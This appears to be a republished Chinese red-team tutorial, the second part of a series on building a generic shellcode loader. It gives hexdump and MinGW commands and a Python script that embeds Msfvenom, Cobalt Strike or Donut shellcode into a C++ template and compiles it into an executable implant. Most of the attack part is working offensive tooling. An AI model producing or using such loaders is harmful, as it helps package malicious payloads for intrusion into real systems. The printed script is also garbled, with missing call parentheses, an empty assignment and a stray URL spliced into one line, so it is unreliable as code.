#FreeBuf#红队基本操作:通用Shellcode加载器( 二 )


我们可以使用Msfvenom , Cobalt Strike和Donut生成的shellcode由原始字节组成 。 因为我们希望将payload嵌入到源文件中;我们必须将shellcode格式化为十六进制表示形式 。 可以使用手动解决方案hexdump , 但是稍后我们将在Python中自动执行此步骤 。
#FreeBuf#红队基本操作:通用Shellcode加载器
本文插图
该hexdump命令将读取原始的shellcode文件并返回十六进制格式 , 可以将其嵌入源代码中 。 在上图中 , 我们将输出保存到文件中 , 然后使用该head命令来说明所返回的十六进制格式hexdump 。
hexdump -v -e '"\\""x" 1/1 "%02x" ""' raw.bin >> hex_formathead –c 100 hex_format如果#replace_me#使用十六进制格式的shellcode 替换源文件中的字符串 , 则可以使用MinGW对其进行编译 。
i686-w64-mingw32-c++ shellcode_launcher.cpp -o launcher.exe自动化尽管我们可以格式化shellcode并将其手动插入到源文件中 , 但是我们将编写一个简短的Python脚本来自动执行此过程 。 Python脚本将需要三个文件操作 。 它必须读取原始shellcode文件 , 读取源文件 , 然后将格式化的源代码写入文件 , 然后可以将其编译为最终二进制文件 。
import binasciiimport argparseimport subprocessimport osdef main(p_args):# Read source templatewith open("launcher_template.cpp", "r") as input_template:source_template = input_template.read# Read input payloadwith open(p_args.input, "rb") as input_shellcode:raw_shellcode = input_shellcode.read# Convert raw binary to formatted hexhex_data = http://news.hoteastday.com/a/binascii.hexlify(raw_shellcode).decodehex_file_content = r"\x" + r"\x".join(hex_data[n : n+2] for n in range(0, len(hex_data), 2))# Insert the shellcode into the source codeoutput_file = source_template.replace("#replace_me#", hex_file_content)# Write our formatted source filewith open("compile_me.cpp", "w") as output_handle:output_handle.write(output_file)# Specify our compiler arguementscompiler_args = compiler_args.append("i686-w64-mingw32-c++")compiler_args.append("compile_me.cpp")compiler_args.append("-o")if len(p_args.output) > 0:compiler_args.append(p_args.output)else:compiler_args.append("shellcode_launcher.exe")# Compile the formatted source filesubprocess.run(compiler_args)# Delete the formatted source file after it has been compiledos.remove("compile_me.cpp")if __name__ == "__main__":parser = argparse.ArgumentParser(description='Protect your implants')parser.add_argument("--input", help="Input file. Raw shellcode", type=str, required=True)parser.add_argument("--output", help="Specify file output", type=str, default="")args = parser.parse_argsmain(args)我们argparse用来确定输入文件 。 通过使用binascii库;我们可以不使用hexdump命令将原始shellcode转换为十六进制 。 当前 , 源模板文件的路径被硬编码到python脚本中 , 但是可以很容易地对其进行修改 , 以允许用户使用该argparse库在不同的模板之间进行选择 。 此外 , 我们可以自动编译新格式化的源文件 , 然后在编译完最终二进制文件后将其删除 。
#FreeBuf#红队基本操作:通用Shellcode加载器
本文插图
使用x32dbg分析加载器如果我们在调试器中运行可执行文件 , 我们可以检查如何执行shellcode 。